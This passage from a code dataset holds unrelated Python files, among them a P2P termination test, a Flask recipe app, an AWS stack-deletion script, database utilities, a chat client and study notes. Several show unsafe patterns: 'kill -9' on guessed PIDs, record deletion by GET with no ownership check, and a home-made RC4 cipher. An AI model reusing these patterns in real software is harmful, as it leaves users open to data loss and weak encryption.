FileUtils.get_relative_filename(file))\n \n def testTerminateAfterDownload(self):\n start = time.time()\n pid_tracker = Popen(self._start_tracker, shell=True)\n time.sleep(5)\n self._copy_files_to_client(self.DIRECTORY_TRACKER, self.DIRECTORY_LEECHER, is_seeder=False)\n self._copy_files_to_client(self.DIRECTORY_TRACKER, self.DIRECTORY_SEEDER, is_seeder=True)\n pid_seeder = Popen(self._start_client % (self.DIRECTORY_SEEDER, \"\"), shell=True)\n pid_leecher = Popen(self._start_client % (self.DIRECTORY_LEECHER, \"-e download -y 100\"), shell=True)\n # wait for the leecher to terminate\n pid_leecher.wait()\n diff = time.time() - start\n self.assertTrue(diff < 60)\n os.system(\"kill -9 %i\" % (pid_tracker.pid+2))\n os.system(\"kill -9 %i\" % (pid_seeder.pid+2))\n os.system(\"kill -9 %i\" % (pid_tracker.pid+1))\n os.system(\"kill -9 %i\" % (pid_seeder.pid+1))\n os.system(\"kill -9 %i\" % (pid_seeder.pid+0))\n\n def testTerminateAfterPlayback(self):\n start = time.time()\n pid_tracker = Popen(self._start_tracker, shell=True)\n time.sleep(5)\n self._copy_files_to_client(self.DIRECTORY_TRACKER, self.DIRECTORY_LEECHER, is_seeder=False)\n self._copy_files_to_client(self.DIRECTORY_TRACKER, self.DIRECTORY_SEEDER, is_seeder=True)\n pid_seeder = Popen(self._start_client % (self.DIRECTORY_SEEDER, \"\"), shell=True)\n pid_leecher = Popen(self._start_client % (self.DIRECTORY_LEECHER, \"-e playback -y 100\"), shell=True)\n # wait for the leecher to terminate\n pid_leecher.wait()\n diff = time.time() - start\n self.assertTrue(diff < 120)\n print >>sys.stderr, \"############### DIFF: %i\" % diff\n os.system(\"kill -9 %i\" % (pid_tracker.pid+2))\n os.system(\"kill -9 %i\" % (pid_seeder.pid+2))\n os.system(\"kill -9 %i\" % (pid_tracker.pid+1))\n os.system(\"kill -9 %i\" % (pid_seeder.pid+1))\n os.system(\"kill -9 %i\" % (pid_seeder.pid+0))\n \n def testTerminateAfterSeeding(self):\n start = time.time()\n pid_tracker = Popen(self._start_tracker, shell=True)\n time.sleep(5)\n self._copy_files_to_client(self.DIRECTORY_TRACKER, self.DIRECTORY_LEECHER, is_seeder=False)\n self._copy_files_to_client(self.DIRECTORY_TRACKER, self.DIRECTORY_SEEDER, is_seeder=True)\n pid_seeder = Popen(self._start_client % (self.DIRECTORY_SEEDER, \"\"), shell=True)\n pid_leecher = Popen(self._start_client % (self.DIRECTORY_LEECHER, \"-e seeding 20 -y 100\"), shell=True)\n # wait for the leecher to terminate\n pid_leecher.wait()\n diff = time.time() - start\n self.assertTrue(diff < 60)\n self.assertTrue(diff >= 20)\n os.system(\"kill -9 %i\" % (pid_tracker.pid+2))\n os.system(\"kill -9 %i\" % (pid_seeder.pid+2))\n os.system(\"kill -9 %i\" % (pid_tracker.pid+1))\n os.system(\"kill -9 %i\" % (pid_seeder.pid+1))\n os.system(\"kill -9 %i\" % (pid_seeder.pid+0))\n \nif __name__ == \"__main__\":\n logging.disable(logging.DEBUG)\n logging.disable(logging.INFO)\n #unittest.main(verbosity=2)\n \n #suite = unittest.TestSuite()\n #suite.addTest(TerminationTest())\n# suite.addTest(TerminationTest('testTerminateAfterDownload'))\n #suite.addTest(TerminationTest('testTerminateAfterPlayback'))\n #suite.addTest(TerminationTest('testTerminateAfterSeeding'))\n suite = unittest.TestLoader().loadTestsFromTestCase(TestBiasedUnchoking)\n unittest.TextTestRunner(verbosity=2).run(suite)","repo_name":"smoothit/smoothit-client","sub_path":"SisClient/Testbed/Test/test_termination.py","file_name":"test_termination.py","file_ext":"py","file_size_in_byte":5645,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"} +{"seq_id":"39555544297","text":"from flask import render_template,redirect,session,request, flash\nfrom flask_app import app\nfrom flask_app.models.recipe import Recipe\nfrom flask_app.models.user import User\n\n@app.route('/new/recipe')\ndef new_recipe():\n if 'user_id' not in session:\n return redirect('/logout')\n data = {\n \"id\": session['user_id']\n }\n return render_template('add_recipe.html', user=User.get_by_id(data))\n\n@app.route('/create/recipe', methods=['POST'])\ndef create_recipe():\n if 'user_id' not in session:\n return redirect('/new/recipe')\n if not Recipe.validate_recipe(request.form):\n return redirect('/new/recipe')\n data = {\n \"name\": request.form[\"name\"],\n \"description\": request.form[\"description\"],\n \"instruction\": request.form[\"instruction\"],\n \"date_cooked\": request.form[\"date_cooked\"],\n \"under\": request.form[\"under\"],\n \"user_id\": session[\"user_id\"]\n }\n Recipe.create(data)\n return redirect(\"/main\")\n\n@app.route('/edit/recipe/')\ndef edit_recipe(id):\n if 'user_id' not in session:\n return redirect('/logout')\n data = {\n \"id\":id\n }\n user_data = {\n \"id\":session['user_id']\n }\n return render_template(\"edit_recipe.html\", edit=Recipe.get_one(data),user=User.get_by_id(user_data))\n\n@app.route('/update/recipe',methods=['POST'])\ndef update_recipe():\n if 'user_id' not in session:\n return redirect('/logout')\n if not Recipe.validate_recipe(request.form):\n return redirect('/main')\n data = {\n \"name\": request.form[\"name\"],\n \"description\": request.form[\"description\"],\n \"instruction\": request.form[\"instruction\"],\n \"date_cooked\": request.form[\"date_cooked\"],\n \"under\": request.form[\"under\"],\n \"id\": request.form['id']\n }\n Recipe.update(data)\n return redirect('/main')\n\n@app.route('/recipe/')\ndef show_recipe(id):\n if 'user_id' not in session:\n return redirect('/logout')\n data = {\n \"id\":id\n }\n user_data = {\n \"id\":session['user_id']\n }\n return render_template(\"show_one.html\",recipe=Recipe.get_one(data),user=User.get_by_id(user_data))\n\n@app.route('/delete/recipe/')\ndef delete_recipe(id):\n if 'user_id' not in session:\n return redirect('/logout')\n data = {\n \"id\":id\n }\n Recipe.delete(data)\n return redirect('/main')","repo_name":"kquac00/recipes","sub_path":"flask_app/controllers/recipes.py","file_name":"recipes.py","file_ext":"py","file_size_in_byte":2404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"41574179477","text":"from botocore.exceptions import ClientError\n\nimport boto3, os\n\ndef fetch_resources(cf, stackname, filterfn=lambda x: True):\n resources, token = [], None\n while True:\n kwargs={\"StackName\": stackname}\n if token:\n kwargs[\"NextToken\"]=token\n resp=cf.list_stack_resources(**kwargs)\n for resource in resp[\"StackResourceSummaries\"]:\n if filterfn(resource):\n resources.append(resource)\n if \"NextToken\" in resp:\n token=resp[\"NextToken\"]\n else:\n break\n return sorted(resources,\n key=lambda x: x[\"LastUpdatedTimestamp\"])\n\ndef empty_bucket(s3, bucketname):\n try:\n print (\"emptying %s\" % bucketname)\n paginator=s3.get_paginator(\"list_objects_v2\")\n pages=paginator.paginate(Bucket=bucketname)\n for struct in pages:\n if \"Contents\" in struct:\n for obj in struct[\"Contents\"]:\n print (\"deleting %s\" % obj[\"Key\"])\n s3.delete_object(Bucket=bucketname,\n Key=obj[\"Key\"])\n except ClientError as error:\n if error.response[\"Error\"][\"Code\"] not in [\"NoSuchBucket\"]:\n raise error\n\ndef delete_stack(cf, s3, stackname):\n print (\"deleting stack %s\" % stackname)\n filterfn=lambda x: x[\"ResourceType\"]==\"AWS::S3::Bucket\"\n buckets=fetch_resources(cf, stackname, filterfn)\n for bucket in buckets:\n empty_bucket(s3, bucket[\"PhysicalResourceId\"])\n cf.delete_stack(StackName=stackname)\n waiter=cf.get_waiter(\"stack_delete_complete\")\n waiter.wait(StackName=stackname)\n\nif __name__==\"__main__\":\n try:\n appname=os.environ[\"APP_NAME\"]\n if appname in [\"\", None]:\n raise RuntimeError(\"APP_NAME does not exist\")\n stackname=appname\n cf, s3 = boto3.client(\"cloudformation\"), boto3.client(\"s3\")\n delete_stack(cf, s3, stackname)\n except RuntimeError as error:\n print (\"Error: %s\" % str(error))\n except ClientError as error:\n print (\"Error: %s\" % str(error))\n\n\n","repo_name":"jhw/pareto2","sub_path":"pareto2/scripts/deploy/delete_stack.py","file_name":"delete_stack.py","file_ext":"py","file_size_in_byte":2088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"43496736087","text":"import os\nimport sqlite3\nfrom astropy.coordinates import SkyCoord\n\n\ndef reset(db, wise_only=False):\n \"\"\"\n Drop tables if they already exist, create new table schema.\n\n Inputs:\n db :: string\n Database filename\n wise_only :: boolean\n If True, skip Fields and FieldsDetections tables\n\n Returns: Nothing\n \"\"\"\n print(\"Resetting database...\")\n with sqlite3.connect(db) as conn:\n cur = conn.cursor()\n cur.execute(\"PRAGMA foreign_keys = ON\")\n\n # Delete tables if present (need to delete link tables first)\n cur.execute(\"DROP TABLE IF EXISTS CatalogDetections\")\n cur.execute(\"DROP TABLE IF EXISTS CatalogGroups\")\n cur.execute(\"DROP TABLE IF EXISTS FieldsDetections\")\n cur.execute(\"DROP TABLE IF EXISTS Catalog\")\n cur.execute(\"DROP TABLE IF EXISTS Groups\")\n cur.execute(\"DROP TABLE IF EXISTS Detections\")\n cur.execute(\"DROP TABLE IF EXISTS Fields\")\n\n # WISE Catalog table\n cur.execute(\n \"\"\"\n CREATE TABLE Catalog\n (id integer primary key autoincrement,\n gname text,\n alias text,\n hii_name text,\n catalog text,\n ra real,\n dec real,\n glong real,\n glat real,\n radius real,\n kdar text,\n dist_method text,\n dist_author text)\n \"\"\"\n )\n\n # WISE Catalog Groups table\n cur.execute(\n \"\"\"\n CREATE TABLE Groups\n (id integer primary key autoincrement,\n name text,\n vlsr real,\n e_vlsr real,\n kdar text)\n \"\"\"\n )\n\n if not wise_only:\n # Fields table\n cur.execute(\n \"\"\"\n CREATE TABLE Fields\n (id integer primary key autoincrement,\n name text,\n ra real,\n dec real,\n glong real,\n glat real,\n hpbw real)\n \"\"\"\n )\n\n # Detections table\n cur.execute(\n \"\"\"\n CREATE TABLE Detections\n (id integer primary key autoincrement,\n name text,\n ra real,\n dec real,\n glong real,\n glat real,\n line_freq real,\n component text,\n line real,\n e_line real,\n line_unit text,\n vlsr real,\n e_vlsr real,\n fwhm real,\n e_fwhm real,\n spec_rms real,\n line_qf integer,\n line_snr real,\n cont_freq real,\n cont real,\n e_cont real,\n cont_unit text,\n area real,\n e_area real,\n area_unit text,\n cont_qf integer,\n pb_level real,\n linetocont real,\n e_linetocont real,\n te real,\n e_te real,\n lines text,\n beam_area real,\n telescope text,\n author text,\n source text,\n type text,\n taper text)\n \"\"\"\n )\n\n # WISE Catalog <=> Groups\n cur.execute(\n \"\"\"\n CREATE TABLE CatalogGroups\n (catalog_id int,\n group_id int,\n FOREIGN KEY(catalog_id) REFERENCES Catalog(id),\n FOREIGN KEY(group_id) REFERENCES Groups(id))\n \"\"\"\n )\n\n # WISE Catalog <=> Detections\n cur.execute(\n \"\"\"\n CREATE TABLE CatalogDetections\n (catalog_id int,\n detection_id int,\n separation float,\n FOREIGN KEY(catalog_id) REFERENCES Catalog(id),\n FOREIGN KEY(detection_id) REFERENCES Detections(id))\n \"\"\"\n )\n\n if not wise_only:\n # Fields <=> Detections\n cur.execute(\n \"\"\"\n CREATE TABLE FieldsDetections\n (field_id int,\n detection_id int,\n FOREIGN KEY(field_id) REFERENCES Fields(id),\n FOREIGN KEY(detection_id) REFERENCES Detections(id))\n \"\"\"\n )\n print(\"Done!\")\n print()\n\n\ndef parse_region_coord(regionfile):\n \"\"\"\n Parse a CASA region file to get the RA, Dec position. Return\n the position as an astropy coordinate object.\n\n Inputs:\n regionfile: string\n the filename of the region file\n\n Returns:\n coord: astropy.SkyCoord\n the coordinate\n \"\"\"\n # Parse file\n if not os.path.exists(regionfile):\n raise ValueError(\"{0} does not exist!\".format(regionfile))\n with open(regionfile, \"r\") as f:\n line = f.readline()\n line = f.readline()\n mypart = line.split(\"[[\")[1].split(\"]\")[0]\n rapart = mypart.split(\",\")[0]\n decpart = mypart.split(\",\")[1][1:]\n ra_h, ra_m, ra_s = rapart.split(\":\")\n dec_sn = decpart[0]\n dec_d, dec_m, dec_s, dec_ss = decpart[1:].split(\".\")\n\n # Create astropy coordinate\n mycoord = \"{0}h{1}m{2}s {3}{4}d{5}m{6}.{7}s\".format(\n ra_h, ra_m, ra_s, dec_sn, dec_d, dec_m, dec_s, dec_ss\n )\n coord = SkyCoord(mycoord, frame=\"fk5\")\n return coord\n","repo_name":"tvwenger/hii_db","sub_path":"hii_db/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4958,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"30658955875","text":"# Configuration file for GRepQ.\n\nexp_config = {\n\n 'run_type': 'll_model_train', # 'll_model_train' or 'hl_model_train'\n 'database_path': str(r\"../Databases\"),\n\n # Training parameters\n 'datasets': {\n # Train datasets\n 'LIVE_FB_synthetic': {'train': True},\n },\n\n 'model': None, # Model being trained and tested\n 'resume_training': False, # Resume training from existing checkpoint\n 'resume_path': str(r\"./checkpoint.tar\"), # Last checkpoint path if resuming training\n\n 'epochs': 15, \n 'lr_update': 20, # Update learning rate after specified no. of epochs\n 'test_epoch': 3, # Validate after these many epochs of training\n 'lr_decay': 1.0,\n\n # Low Level Model arguments\n 'batch_size_qacl': 8, # 9 frames in 1 batch\n 'lr_llm': 1e-4,\n 'pristine_img_dir': str(r\"../Databases/Pristine\"),\n 'patch_size': 96,\n 'device': \"cuda\",\n 'sharpness_param': 0.75,\n 'colorfulness_param': 0.8,\n 'results_path_llm': str(r\"./Results/LLM\"),\n\n # High Level Model arguments\n 'crop': 'center',\n 'crop_size': (224, 224),\n 'batch_size_gcl': 128,\n 'tau': 32, # temperature parameter\n 'lr_hlm': 1e-6,\n 'results_path_hlm': str(r\"./Results/HLM\"),\n}","repo_name":"suhas-srinath/GRepQ","sub_path":"configs.py","file_name":"configs.py","file_ext":"py","file_size_in_byte":1220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"36587675432","text":"import socket, sys, random, getpass\n\nPORT = 6283\nVER = '0.2'\n\n\ndef client():\n class Node(object):\n # structure of server information\n def __init__(self):\n self.name = None\n self.host = None\n self.next = None\n\n class List(object):\n # list of servers\n def __init__(self):\n self.head = None\n\n def insert(self, name, host):\n new_node = Node()\n new_node.name = name\n new_node.host = host\n new_node.next = self.head\n self.head = new_node\n\n def display_all(self):\n current = self.head\n if current is None:\n print('************************\\n',\n 'you have not added any nodes')\n while current:\n print('************************\\n',\n 'name:', current.name, '\\n'\n 'host:', current.host, '\\n')\n current = current.next\n\n def delete_node(self, name):\n current = self.head\n prev = None\n found = False\n while current and found is False:\n if current.name == name:\n found = True\n else:\n prev = current\n current = current.next\n if current is None:\n print('name not found')\n return\n if prev is None:\n self.head = current.next\n else:\n prev.next = current.next\n print('node deleted')\n\n def get_node(self, name):\n current = self.head\n found = False\n while current and found is False:\n if current.name == name:\n found = True\n else:\n current = current.next\n if current is None:\n return\n else:\n return current.host\n\n # init data\n slist = List()\n\n print('welcome to taunet')\n sys.stdout.write('please enter your username: '); sys.stdout.flush()\n userid = sys.stdin.readline().rstrip()\n key = getpass.getpass('what is the passphrase for your network? ')\n\n menu(slist, userid, key)\n\n\ndef menu(slist, userid, key):\n while 1:\n print('\\n************************\\n'\n 'please select an option:\\n'\n '1) add taunet node\\n'\n '2) send message\\n'\n '3) delete node\\n'\n '4) display all nodes\\n'\n '5) quit \\n'\n '************************\\n')\n choice = sys.stdin.readline()\n if int(choice) == 1:\n print('************************')\n sys.stdout.write('please enter the person\\'s name: '); sys.stdout.flush()\n name = sys.stdin.readline()\n sys.stdout.write('please enter the host\\'s address: '); sys.stdout.flush()\n host = sys.stdin.readline()\n slist.insert(name.rstrip(), host.rstrip())\n elif int(choice) == 2:\n sys.stdout.write('which person would you like to send a message to? '); sys.stdout.flush()\n name = sys.stdin.readline().rstrip('\\n')\n host = slist.get_node(name)\n send_msg(host, name, userid, key)\n elif int(choice) == 3:\n sys.stdout.write('which host would you like to delete (please enter name)? '); sys.stdout.flush()\n slist.delete_node(sys.stdin.readline().rstrip('\\n'))\n elif int(choice) == 4:\n slist.display_all()\n elif int(choice) == 5:\n sys.exit()\n else:\n print('input not understood, try again')\n\n\ndef send_msg(host, name, userid, key):\n # setup client\n srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n srv.settimeout(None)\n\n # connect to host\n try:\n srv.connect((host, PORT))\n except:\n print('\\n************************\\n'\n 'unable to connect\\n'\n '************************\\n')\n return\n\n print(\"connected to %s\\'s node\\nenter \\\"/quit\\\" when done\" % name)\n sys.stdout.write('[%s] ' % userid); sys.stdout.flush()\n\n try:\n while 1:\n # compose and send message\n msg = sys.stdin.readline()\n if msg == '/quit\\n':\n srv.close()\n return\n else:\n srv.send(encipher(('version: %s\\r\\nfrom: %s\\r\\nto: %s\\r\\n'\n % (VER, userid, name) + msg), key).encode('utf-8'))\n sys.stdout.write('[%s] ' % userid); sys.stdout.flush()\n except:\n print('connection to peer lost')\n return\n\n\ndef encipher(message, key, iv=''):\n # Given a plaintext string and key, return an enciphered string\n while len(iv) < 10:\n iv += chr(random.randrange(256))\n ciphertext = arcfour(map(ord, message), bytes(key + iv, 'utf-8'))\n return iv + ''.join(map(chr, ciphertext))\n\n\ndef arcfour(keystream, key, n=20):\n # Perform the RC4 algorithm on a given input list of bytes with a\n # key given as a list of bytes, and return the output as a list of bytes.\n i, j, state = 0, 0, list(range(256))\n for k in range(n):\n for i in range(256):\n j = (j + state[i] + key[i % len(key)]) % 256\n state[i], state[j] = state[j], state[i]\n i, j, output = 0, 0, []\n for byte in keystream:\n i = (i + 1) % 256\n j = (j + state[i]) % 256\n state[i], state[j] = state[j], state[i]\n n = (state[i] + state[j]) % 256\n output.append(byte ^ state[n])\n return output\n\n\nif __name__ == \"__main__\":\n sys.exit(client())\n","repo_name":"brodie1/herrick_brodie_taunet","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":5703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"70446131311","text":"#(1.1)unpacking a sequence into saperate variables\r\np = 4, 5\r\nx, y = p\r\nprint(x)\r\nprint(y)\r\n\r\ndata = ['sai', 55,55.7, (2012, 12, 21)]\r\nname, share, price, date = data\r\nprint(name)\r\nprint(share)\r\nprint(price)\r\nprint(date)\r\n\"\"\"unpacking not only works with tuples or lists, but also with\r\nstrings, files, iterators, and generators\"\"\"\r\ns = 'hello'\r\na, b, c, d, e = s\r\nprint(a)\r\nprint(b)\r\n\r\n\"\"\"sometimes you may want to discard some items\r\n...there is no special sintax for this \r\nbut you can pick a throwaway variablee for this\"\"\"\r\ndata = ['sai', 55,55.7, (2012, 12, 21)]\r\n_, shares, _, price = data\r\nprint(shares)\r\nprint(price)\r\n\r\n#(1.2)unpacking elements from iterables\r\n\"\"\"sometimes you need to unpack N no of elements,\r\n but the iterable may be longer than the N values \"\"\"\r\n\r\n\"\"\"we can solve this by 'star expression' \"\"\"\r\n\r\n#def drop_first_last(grades):\r\n #first, *middle, last = grades\r\n #return average(middle)\r\nrecord = ('saikiran', 'reddy@gmail.com', '7659996553', '7661880608')\r\nname, gmail, *ph_numbers = record\r\nprint(name)\r\nprint(gmail)\r\nprint(ph_numbers)\r\n\r\n\r\nrecords = [('foo', 1, 2),\r\n ('bar', 'hello'),\r\n ('foo', 3, 4)]\r\n\r\ndef d_f(x, y):\r\n print('foo', x, y)\r\n\r\ndef d_b(s):\r\n print('bar', s)\r\n\r\nfor tag, *args in records:\r\n if tag == 'foo':\r\n d_f(*args)\r\n elif tag == 'bar':\r\n d_b(*args)\r\n\r\n\r\n\"\"\"sometimes you might want to unpack values and thrrow them away\"\"\"\r\nrecord = ('sai', 55,55.7, (2012, 12, 21))\r\nname, *_, (*_, year) = record\r\nprint(name)\r\nprint(year)\r\n\r\n\"\"\"if you have a list you can easily \r\nsplit it into head and tail combination\"\"\"\r\n\r\nitems = [1, 2, 3, 4, 5, 6, 7, 8,]\r\nhead, *tail = items\r\nprint(head)\r\nprint(tail)\r\n\r\n\r\n#(1.3)keeping the last N items\r\n\r\n\"\"\"collections.deque = it is a subclass of list and \r\nprovides fast and efficient appending/ popping from both ends \"\"\"\r\n\r\n\"\"\"feauters of deque are= \r\ntime complexity for adding and removing elements from both ends\r\ncan have max size or extended indefinetly\r\nprovide thread safe memory efficient implementation\"\"\"\r\n\r\nfrom collections import deque\r\nq = deque(maxlen=5)\r\nq.append(1)\r\nq.append(2)\r\nq.append(3)\r\nq.append(4)\r\nq.append(5)\r\nq.append(6)\r\nq.append(7)\r\nprint(q)\r\n\r\n\"\"\"deque is used whenever you need a simple queue structure\"\"\"\r\n\"\"\"if you dont give a max len, you will get a unbounded list\"\"\"\r\nfrom collections import deque\r\nw = deque()\r\nw.append(1)\r\nw.append(2)\r\nw.append(3)\r\nw.append(4)\r\nprint(w)\r\nw.appendleft(7)\r\nprint(w)\r\nw.pop()\r\nprint(w)\r\nw.popleft()\r\nprint(w)\r\n\r\n#finding the largest or smallest of N numbers\r\n\r\n\"\"\"heapq module = provides the implementation of the heapq algorithm(priority based algorithm)\r\nit is a specilized tree based data structure that is commonly used in algorithms for sorting, searching, and graph transversal\"\"\"\r\n\r\n\r\nimport heapq\r\nnums = [1, 8, 2, 23, 7, -4, 18, 23, 42, 37, 2]\r\nprint(heapq.nlargest(3, nums))\r\nprint(heapq.nsmallest(3, nums))\r\nprint(heapq.nlargest(11, nums))\r\nprint(heapq.nsmallest(11, nums))\r\n\r\nimport heapq\r\nimport time\r\nportfolio = [\r\n {'name': 'IBM', 'shares': 100, 'price': 91.1},\r\n {'name': 'AAPL', 'shares': 50, 'price': 543.22},\r\n {'name': 'FB', 'shares': 200, 'price': 21.09},\r\n {'name': 'HPQ', 'shares': 35, 'price': 31.75},\r\n {'name': 'YHOO', 'shares': 45, 'price': 16.35},\r\n {'name': 'ACME', 'shares': 75, 'price': 115.65}\r\n]\r\ncheap = heapq.nsmallest(4, portfolio, key=lambda s: s['price'])\r\nexpensive = heapq.nlargest(4, portfolio, key=lambda s: s['price'])\r\nbadshare = heapq.nsmallest(5, portfolio, key=lambda c: c['shares'])\r\ngoodshare = heapq.nlargest(5, portfolio, key=lambda c: c['shares'])\r\n\r\nprint(cheap)\r\ntime.sleep(2)\r\nprint(expensive)\r\ntime.sleep(2)\r\nprint(badshare)\r\ntime.sleep(2)\r\nprint(goodshare)\r\n\r\n#(1.6)mapping keys to multiple values in a dictionary\r\n\"\"\"if you want to store multiple values to a key, you can store multiple values in an another list/set\"\"\"\r\nn = {'a':[1,2,3],\r\n 'b':[4,5,6]}\r\n\r\nx = {'c':[7,8,9],\r\n 'd':[10,11,12]}\r\n\r\nprint(n)\r\nprint(type(n))\r\nprint(x)\r\nprint(type(x))\r\n\r\n\"\"\"to easily construct such dicts, we can use defaultdict form collections\"\"\"\r\nfrom collections import defaultdict\r\nb = defaultdict(list)\r\nb['e'].append(1)\r\nb['f'].append(2)\r\nb['e'].append(3)\r\nb['f'].append(4)\r\nb['e'].append(5)\r\nb['f'].append(6)\r\nb['e'].append(7)\r\nb['f'].append(8)\r\nprint(b)\r\n\r\n\r\nfrom collections import defaultdict\r\nl = defaultdict(set)\r\nl['e'].add(1)\r\nl['f'].add(2)\r\nl['e'].add(3)\r\nl['f'].add(4)\r\nl['e'].add(5)\r\nl['f'].add(6)\r\nl['e'].add(7)\r\nl['f'].add(8)\r\nprint(l)\r\n\r\n#keeping dictioneries in order\r\nfrom collections import OrderedDict\r\nv = OrderedDict()\r\nv['sai'] = 19\r\nv['kiran'] = 56\r\nv['reddy'] = 1956\r\nprint(v)\r\n\r\n#calculating with dictonaries\r\n\"\"\"in order to perform useful calculations on the dict contents,\r\n it is often useful to invert the keys and values using zip()function\"\"\"\r\nprices = {\r\n 'ACME': 45.23,\r\n 'AAPL': 612.78,\r\n 'IBM': 205.55,\r\n 'HPQ': 37.20,\r\n 'FB': 10.75\r\n}\r\n\r\nmin_price = min(zip(prices.values(), prices.keys()))\r\nmax_price = max(zip(prices.values(), prices.keys()))\r\nprint(max_price)\r\nprint(min_price)\r\n\r\n\"\"\"similarly to rank the data use zip() along with sorted()\"\"\"\r\nprice_sorted = sorted(zip(prices.values(), prices.keys()))\r\nprint(price_sorted)\r\n\r\n#commanalities in two dicts\r\n\"\"\"to find commanalities between dicts, just perform common set operations\"\"\"\r\na = {\r\n 'x' : 1,\r\n 'y' : 2,\r\n 'z' : 3\r\n}\r\nb = {\r\n 'w' : 10,\r\n 'x' : 11,\r\n 'y' : 2\r\n}\r\nprint(a.keys() & b.keys())\r\nprint(a.items() & b.items())\r\nprint(a.keys() - b.keys())\r\n\r\n#removing duplicates from a sequence while maintaining the order\r\na = [1, 5, 2, 1, 9, 1, 5, 10]\r\nprint(set(a))\r\n\r\n#determining most frequently occuring items in a sequeence\r\nwords = [\r\n 'look', 'into', 'my', 'eyes', 'look', 'into', 'my', 'eyes',\r\n 'the', 'eyes', 'the', 'eyes', 'the', 'eyes', 'not', 'around', 'the',\r\n 'eyes', \"don't\", 'look', 'around', 'the', 'eyes', 'look', 'into',\r\n 'my', 'eyes', \"you're\", 'under'\r\n]\r\nmorewords = ['why', 'are', 'you', 'not', 'looking', 'in', 'my', 'eyes']\r\n\r\nfrom collections import Counter\r\nword_counts = Counter(words)\r\nprint(word_counts)\r\ntop_three = word_counts.most_common(4)\r\nprint(top_three)\r\nprint(word_counts['eyes'])\r\nword_counts.update(morewords)\r\nprint(word_counts)\r\nq = Counter(words)\r\np = Counter(morewords)\r\nx = q + p\r\nprint('the total count is:', x)\r\n\r\n\r\n#sorting a list of dictionaries by a common key\r\n\r\nfrom operator import itemgetter\r\nrows = [\r\n {'fname': 'Brian', 'lname': 'Jones', 'uid': 1003},\r\n {'fname': 'David', 'lname': 'Beazley', 'uid': 1002},\r\n {'fname': 'John', 'lname': 'Cleese', 'uid': 1001},\r\n {'fname': 'Big', 'lname': 'Jones', 'uid': 1004}\r\n]\r\nrows_by_fname = sorted(rows, key=itemgetter('fname'))\r\nrows_by_uid = sorted(rows, key=itemgetter('uid'))\r\nprint(rows_by_fname)\r\nprint(rows_by_uid)\r\n\r\n\r\n#grouping records togather based on a feild\r\n\"\"\"the groupby() function works by scanning a sequence and finding sequentioal runs of identical values\r\nOn each iteration it returns a value alonge with the iterator that produce all of the items in a group\"\"\"\r\nfrom operator import itemgetter\r\nfrom itertools import groupby\r\nrows = [\r\n {'address': '5412 N CLARK', 'date': '07/01/2012'},\r\n {'address': '5148 N CLARK', 'date': '07/04/2012'},\r\n {'address': '5800 E 58TH', 'date': '07/02/2012'},\r\n {'address': '2122 N CLARK', 'date': '07/03/2012'},\r\n {'address': '5645 N RAVENSWOOD', 'date': '07/02/2012'},\r\n {'address': '1060 W ADDISON', 'date': '07/02/2012'},\r\n {'address': '4801 N BROADWAY', 'date': '07/01/2012'},\r\n {'address': '1039 W GRANVILLE', 'date': '07/04/2012'},\r\n]\r\n\r\nrows.sort(key=itemgetter('date'))\r\n\r\nfor rows, items in groupby(rows, key=itemgetter('date')):\r\n print('date')\r\n for i in items:\r\n print('', i)\r\n\r\n\r\n\r\n#filtering the sequence of elementsaddresses = [\r\nfrom itertools import compress\r\naddresses = [\r\n '5412 N CLARK',\r\n '5148 N CLARK',\r\n '5800 E 58TH',\r\n '2122 N CLARK'\r\n '5645 N RAVENSWOOD',\r\n '1060 W ADDISON',\r\n '4801 N BROADWAY',\r\n '1039 W GRANVILLE',\r\n]\r\ncounts = [ 0, 3, 10, 4, 1, 7, 6, 1]\r\nmore_5 = [n > 5 for n in counts]\r\nprint(more_5)\r\n\r\nprint(list(compress(addresses, more_5)))\r\n\r\n#extracting subsets of a dictionary\r\nfrom collections import namedtuple\r\nsubscriber = namedtuple('subscriber', ['addr', 'joined'])\r\nsub = subscriber('saikiran@gmai;l.com', '2002-22-03')\r\nprint(sub)\r\n\r\n#(1.19)transforming and reducing data at the same time\r\nnus = [1, 2, 3, 4, 5, 6]\r\ns = sum(x * x for x in nus)\r\nprint(s)\r\n\r\nimport os\r\nfiles = os.listdir('dirname')\r\nif any(name.endswith('.py')for name in files):\r\n print('there is python!!!')\r\n\r\nelse:\r\n print('sorry no python!!!')\r\n\r\n\r\n\r\n#combining multiple mappings into a single mapping\r\n\"\"\"chainmap takes multiple mappings\r\nand makes them logically appera as one\"\"\"\r\nfrom collections import ChainMap\r\na = {'x': 1, 'z': 3}\r\nb = {'y': 2, 'z': 4}\r\nc = ChainMap(a,b)\r\nprint(c['x'])\r\nprint(c['y'])\r\nprint(c['z'])\r\nprint(len(c))\r\nprint(list(c.keys()))\r\nprint(list(c.values()))\r\nvalues = ChainMap()\r\nvalues['x'] = 1\r\nvalues = values.new_child() #add a new mapping\r\nvalues['x'] = 2\r\nvalues = values.new_child() #add a new mapping\r\nvalues['x'] = 3\r\nprint(values)\r\n\r\nvalues = values.parents #discard last mapping\r\nprint(values['x'])\r\n\r\nvalues = values.parents #discard last mapping\r\nprint(values['x'])\r\nprint(values)\r\n\r\n\r\n","repo_name":"SaikiranReddyG/MY-PYTHON-LEARNING-JOURNEY","sub_path":"python advanced learning journey/data structures and algorithms(chapter1).py","file_name":"data structures and algorithms(chapter1).py","file_ext":"py","file_size_in_byte":9299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"8967955171","text":"# My first Pygame program.\n# Authors: Many people and \n\nimport pygame\nimport sys\nfrom pygame.locals import *\n\nCircleY=200\nCircleX=300\ncirclexspeed =3\ncircleyspeed=4\nrectY=100\nrect_speed=6\nrectX=20\nrect2X=600\n\nscreensize=(640, 480)\nBackgroundColor=(125, 0, 50)\nCircleColor=(255, 255, 